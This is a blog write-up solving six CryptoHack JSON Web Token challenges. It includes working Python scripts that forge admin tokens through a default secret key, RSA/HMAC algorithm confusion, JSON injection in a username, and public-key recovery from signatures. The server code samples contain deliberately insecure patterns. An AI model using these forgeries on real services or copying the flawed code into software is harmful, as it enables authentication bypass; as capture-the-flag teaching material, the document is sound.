JSON Web Tokens Write-up - CryptoHack
JSON Web Tokens challenges from CryptoHack
I’ve been learning about JSON Web Tokens (JWT) lately and wanted to share my solutions to the challenges on CryptoHack. This write-up covers six challenges from the JWT section on CryptoHack.
Token Appreciation
It’s the simplest one of the bunch. We are given a JWT and we need to decode it.
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiY3J5cHRve2p3dF9jb250ZW50c19jYW5fYmVfZWFzaWx5X3ZpZXdlZH0iLCJ1c2VyIjoiQ3J5cHRvIE1jSGFjayIsImV4cCI6MjAwNTAzMzQ5M30.shKSmZfgGVvd2OSB2CGezzJ3N6WAULo3w9zCl_T47KQ
We can just decode it and get the flag as follows.
1
2
3
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiY3J5cHRve2p3dF9jb250ZW50c19jYW5fYmVfZWFzaWx5X3ZpZXdlZH0iLCJ1c2VyIjoiQ3J5cHRvIE1jSGFjayIsImV4cCI6MjAwNTAzMzQ5M30.shKSmZfgGVvd2OSB2CGezzJ3N6WAULo3w9zCl_T47KQ" | cut -d '.' -f2 | base64 -d 2>/dev/null
{"flag":"crypto{jwt_contents_can_be_easily_viewed}","user":"Crypto McHack","exp":2005033493}
Flag: crypto{jwt_contents_can_be_easily_viewed}
JWT Sessions
Unfortunately there are some downsides to JWTs, as they are often configured in an insecure way, and clients are free to modify them and see if the server will still verify them. We’ll look at these exploits in the next challenges. For now, the flag is the name of the HTTP header used by the browser to send JWTs to the server.
Answer: Authorization
No Way JOSE
Source code of the server is given.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import jwt # note this is the PyJWT module, not python-jwt
SECRET_KEY = ? # TODO: PyJWT readme key, change later
FLAG = ?
@chal.route('/jwt-secrets/authorise/<token>/')
def authorise(token):
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
except Exception as e:
return {"error": str(e)}
if "admin" in decoded and decoded["admin"]:
return {"response": f"Welcome admin, here is your flag: {FLAG}"}
elif "username" in decoded:
return {"response": f"Welcome {decoded['username']}"}
else:
return {"error": "There is something wrong with your session, goodbye"}
@chal.route('/jwt-secrets/create_session/<username>/')
def create_session(username):
encoded = jwt.encode({'username': username, 'admin': False}, SECRET_KEY, algorithm='HS256')
return {"session": encoded}
The base URL is given as https://web.cryptohack.org/jwt-secrets/
.
If the admin key is set to true, it will return the flag. To forge a token, we need to SECRET_KEY
. What a pity, the developer left the SECRET_KEY
as the default from the documentation.
Checked the PyJWT documentation and the default key is secret
. Now we can forge a token and get the flag.
1
2
3
4
5
6
import jwt, requests
SECRET_KEY = "secret"
token = jwt.encode({'admin': True}, SECRET_KEY, algorithm='HS256')
response = requests.get(f"https://web.cryptohack.org/jwt-secrets/authorise/{token.decode()}/")
print(response.json()["response"])
Answer: crypto{jwt_secret_keys_must_be_protected}
RSA OR HMAC?
This time, it’s about algorithm confusion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import jwt # note this is the PyJWT module, not python-jwt
# Key generated using: openssl genrsa -out rsa-or-hmac-private.pem 2048
with open('challenge_files/rsa-or-hmac-private.pem', 'rb') as f:
PRIVATE_KEY = f.read()
with open('challenge_files/rsa-or-hmac-public.pem', 'rb') as f:
PUBLIC_KEY = f.read()
FLAG = ?
@chal.route('/rsa-or-hmac/authorise/<token>/')
def authorise(token):
try:
decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])
except Exception as e:
return {"error": str(e)}
if "admin" in decoded and decoded["admin"]:
return {"response": f"Welcome admin, here is your flag: {FLAG}"}
elif "username" in decoded:
return {"response": f"Welcome {decoded['username']}"}
else:
return {"error": "There is something wrong with your session, goodbye"}
@chal.route('/rsa-or-hmac/create_session/<username>/')
def create_session(username):
encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256')
return {"session": encoded}
@chal.route('/rsa-or-hmac/get_pubkey/')
def get_pubkey():
return {"pubkey": PUBLIC_KEY}
The base URL is given as https://web.cryptohack.org/rsa-or-hmac/
.
1
decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])
The vulnerability in this code is that it supports both HS256
and RS256
algorithms. Even though we don’t know the PRIVATE_KEY
, we can use the public key to forge a token with HS256
algorithm because the server supports both algorithms.
We just need to get the public key and use it as the secret key to forge a token. We could also do this without the public key, which will be shown in one of the next challenges.
Additionally, we need to install pyjwt==1.5.0
because they implemented a fix for this vulnerability in the later versions.
1
python3.8 -m pip install pyjwt==1.5.0
Here is the code to get the flag.
1
2
3
4
5
6
7
8
9
import jwt, requests, base64
response = requests.get("https://web.cryptohack.org/rsa-or-hmac/get_pubkey/")
PUBLIC_KEY = response.json()["pubkey"]
token = jwt.encode({'admin': True}, PUBLIC_KEY, algorithm='HS256')
response = requests.get(f"https://web.cryptohack.org/rsa-or-hmac/authorise/{token.decode()}/")
print(response.json()["response"])
Answer: crypto{Doom_Principle_Strikes_Again}
JSON in JSON
Let’s take a look at the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import json
import jwt # note this is the PyJWT module, not python-jwt
FLAG = ?
SECRET_KEY = ?
@chal.route('/json-in-json/authorise/<token>/')
def authorise(token):
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
except Exception as e:
return {"error": str(e)}
if "admin" in decoded and decoded["admin"] == "True":
return {"response": f"Welcome admin, here is your flag: {FLAG}"}
elif "username" in decoded:
return {"response": f"Welcome {decoded['username']}"}
else:
return {"error": "There is something wrong with your session, goodbye"}
@chal.route('/json-in-json/create_session/<username>/')
def create_session(username):
body = '{' \
+ '"admin": "' + "False" \
+ '", "username": "' + str(username) \
+ '"}'
encoded = jwt.encode(json.loads(body), SECRET_KEY, algorithm='HS256')
return {"session": encoded}
The base URL is given as https://web.cryptohack.org/json-in-json/
.
Oh, it’s so obvious. How can a JSON object be parsed like that? By injecting a JSON object into the username, we can forge an admin token.
1
2
3
4
5
6
7
8
9
import requests
username = 'sarp", "admin": "True'
response = requests.get(f"https://web.cryptohack.org/json-in-json/create_session/{username}/")
token = response.json()["session"]
response = requests.get(f"https://web.cryptohack.org/json-in-json/authorise/{token}")
print(response.json()["response"])
Answer: crypto{https://owasp.org/www-community/Injection_Theory}
A link in a flag, nice.
RSA or HMAC? Part 2
It’s time to get the flag without the public key. Source code is given below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import jwt # note this is the PyJWT module, not python-jwt
# Private key generated using: openssl genrsa -out rsa-or-hmac-2-private.pem 2048
with open('challenge_files/rsa-or-hmac-2-private.pem', 'rb') as f:
PRIVATE_KEY = f.read()
# Public key generated using: openssl rsa -RSAPublicKey_out -in rsa-or-hmac-2-private.pem -out rsa-or-hmac-2-public.pem
with open('challenge_files/rsa-or-hmac-2-public.pem', 'rb') as f:
PUBLIC_KEY = f.read()
FLAG = ?
@chal.route('/rsa-or-hmac-2/authorise/<token>/')
def authorise(token):
try:
decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])
except Exception as e:
return {"error": str(e)}
if "admin" in decoded and decoded["admin"]:
return {"response": f"Welcome admin, here is your flag: {FLAG}"}
elif "username" in decoded:
return {"response": f"Welcome {decoded['username']}"}
else:
return {"error": "There is something wrong with your session, goodbye"}
@chal.route('/rsa-or-hmac-2/create_session/<username>/')
def create_session(username):
encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256')
return {"session": encoded}
The base URL is given as https://web.cryptohack.org/rsa-or-hmac-2/
.
First of all, we need to get the public key. Then we can forge a token like we did in the previous challenge
We could derive the public key from existing tokens as PortSwigger introduced here.
Let’s grab two tokens:
1
2
3
4
5
6
7
8
9
import requests
response = requests.get("https://web.cryptohack.org/rsa-or-hmac-2/create_session/sarp")
token1 = response.json()["session"]
response = requests.get("https://web.cryptohack.org/rsa-or-hmac-2/create_session/ilovecrypto")
token2 = response.json()["session"]
print(token1)
print(token2)
Tokens:
1
2
3
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InNhcnAiLCJhZG1pbiI6ZmFsc2V9.HlhpY-5OUJGRxXXPMuqrsvdyVI1m8g9fUzqMKioWt9WyGnSrtEpzYPAnpt1DBmgUX7zhDa6-w97yUmWXlkSlrU6CI6Y1rWXrgyzqICw6Q-4CtCrwEOjvZ27Baw7YjGDkqvrbLYdMI-rDTvQxH4WQR8yUNNXYSRSjSFo35OLKIh6jo9idXYxVff3LHCaP65K3ByGcEy91yF53Slfo8deOiC_CgYqTNNujgE3eS3dR8lDdFeSZBhb0m264ePvYrfz7gs58LnI6FKM9iBuXqky32ANlYtwsavYwmhBRukl3zqEPF1QduNc8K1RR-LAHVZa5J3Sgrhjyo16X3qjN7sBMNQ
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imlsb3ZlY3J5cHRvIiwiYWRtaW4iOmZhbHNlfQ.mp9XMeYo2_gc-RWSkeOl7C1xvCvCMcJwNUERKjShVn7Z67FLm_DAEF3ndv5l8zcQ5wDgRyhk0x6cgeL55DlLgjvC-4HqFExIE_MI7G9r_ecxiPqp6lrbfFXhpLE2999QuNJVVc_rBIjtmPn5-QW94l1b37SGyngh8T03heec3SytFCB5JqFTays0LVSGvfwA4ieKIEDRa7BJY47HjWMRXCX5kqxGQL60hiKvfG-V_t25KPQLhlS65KS2IgAtNJ2V1kRRR68oYpfBQ6d1L19iZ6QsdsB6P0pef0nlSNnPDFeqLcZXFS2b5gbYKpzzk98o1IE6d9wDNLqXq4BRegEUTA
Now we can derive the public key with these tokens and PortSwigger’s tool.
1
docker run --rm -it portswigger/sig2n <token1> <token2>
Result:
1
2
3
4
5
docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InNhcnAiLCJhZG1pbiI6ZmFsc2V9.HlhpY-5OUJGRxXXPMuqrsvdyVI1m8g9fUzqMKioWt9WyGnSrtEpzYPAnpt1DBmgUX7zhDa6-w97yUmWXlkSlrU6CI6Y1rWXrgyzqICw6Q-4CtCrwEOjvZ27Baw7YjGDkqvrbLYdMI-rDTvQxH4WQR8yUNNXYSRSjSFo35OLKIh6jo9idXYxVff3LHCaP65K3ByGcEy91yF53Slfo8deOiC_CgYqTNNujgE3eS3dR8lDdFeSZBhb0m264ePvYrfz7gs58LnI6FKM9iBuXqky32ANlYtwsavYwmhBRukl3zqEPF1QduNc8K1RR-LAHVZa5J3Sgrhjyo16X3qjN7sBMNQ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imlsb3ZlY3J5cHRvIiwiYWRtaW4iOmZhbHNlfQ.mp9XMeYo2_gc-RWSkeOl7C1xvCvCMcJwNUERKjShVn7Z67FLm_DAEF3ndv5l8zcQ5wDgRyhk0x6cgeL55DlLgjvC-4HqFExIE_MI7G9r_ecxiPqp6lrbfFXhpLE2999QuNJVVc_rBIjtmPn5-QW94l1b37SGyngh8T03heec3SytFCB5JqFTays0LVSGvfwA4ieKIEDRa7BJY47HjWMRXCX5kqxGQL60hiKvfG-V_t25KPQLhlS65KS2IgAtNJ2V1kRRR68oYpfBQ6d1L19iZ6QsdsB6P0pef0nlSNnPDFeqLcZXFS2b5gbYKpzzk98o1IE6d9wDNLqXq4BRegEUTA
[...]
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTdwZ2J1UDZYOFhIeUZyNDd5YlNyMXlUK20rK0ZObi9mVW5uS1AxMTNiWWJjcC9KbjRubDUKa2lSb0s0Y2dYV3Y2eVlhVHhWTVN5dkxjZERrUHNtWjBKNERmQlhaU3BVS1kyUUsrb1I3Nm5iNWZaK1ZOVUVpMApJdTE1R0JKZElQajh5RUE4MU92aUROY25YUnlEcExCV3RYWjFnTkp5dm9pT2ovM0RnUmNJV3o5eUpOa3plOGxuCnV0TU96eG9iZy9vMmk5b2V3YTJNSmsrTUhLVVpPT0N4b2FWZm1kY3pUcURJWGRvd3huV0NURWdXYjRTQk4rTUgKR3UrOHBXZ0dxWENpb0dEUEFMSFJSOThDV29wSEMwejdWaWEvVVhrTE5HQ2pKZmROWmlKRm5MSEc4dEFURHZEUwpDRFFTZzQ2TUFSazVFaW40ZWtWUGFOS25qYzZJTm5PMDFRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
We can forge a token and get the flag.
1
2
3
4
5
6
7
8
9
10
import jwt, requests, base64
PUBLIC_KEY = "LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTdwZ2J1UDZYOFhIeUZyNDd5YlNyMXlUK20rK0ZObi9mVW5uS1AxMTNiWWJjcC9KbjRubDUKa2lSb0s0Y2dYV3Y2eVlhVHhWTVN5dkxjZERrUHNtWjBKNERmQlhaU3BVS1kyUUsrb1I3Nm5iNWZaK1ZOVUVpMApJdTE1R0JKZElQajh5RUE4MU92aUROY25YUnlEcExCV3RYWjFnTkp5dm9pT2ovM0RnUmNJV3o5eUpOa3plOGxuCnV0TU96eG9iZy9vMmk5b2V3YTJNSmsrTUhLVVpPT0N4b2FWZm1kY3pUcURJWGRvd3huV0NURWdXYjRTQk4rTUgKR3UrOHBXZ0dxWENpb0dEUEFMSFJSOThDV29wSEMwejdWaWEvVVhrTE5HQ2pKZmROWmlKRm5MSEc4dEFURHZEUwpDRFFTZzQ2TUFSazVFaW40ZWtWUGFOS25qYzZJTm5PMDFRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K"
PUBLIC_KEY = base64.b64decode(PUBLIC_KEY)
token = jwt.encode({'admin': True}, PUBLIC_KEY, algorithm='HS256')
response = requests.get(f"https://web.cryptohack.org/rsa-or-hmac-2/authorise/{token.decode()}/")
print(response.json()["response"])
Answer: crypto{thanks_silentsignal_for_inspiration}
Conclusion
That’s it for the JSON Web Tokens challenges. Each challenge was well-thought-out and fun to solve. Feel free to reach out to me if you have any questions or suggestions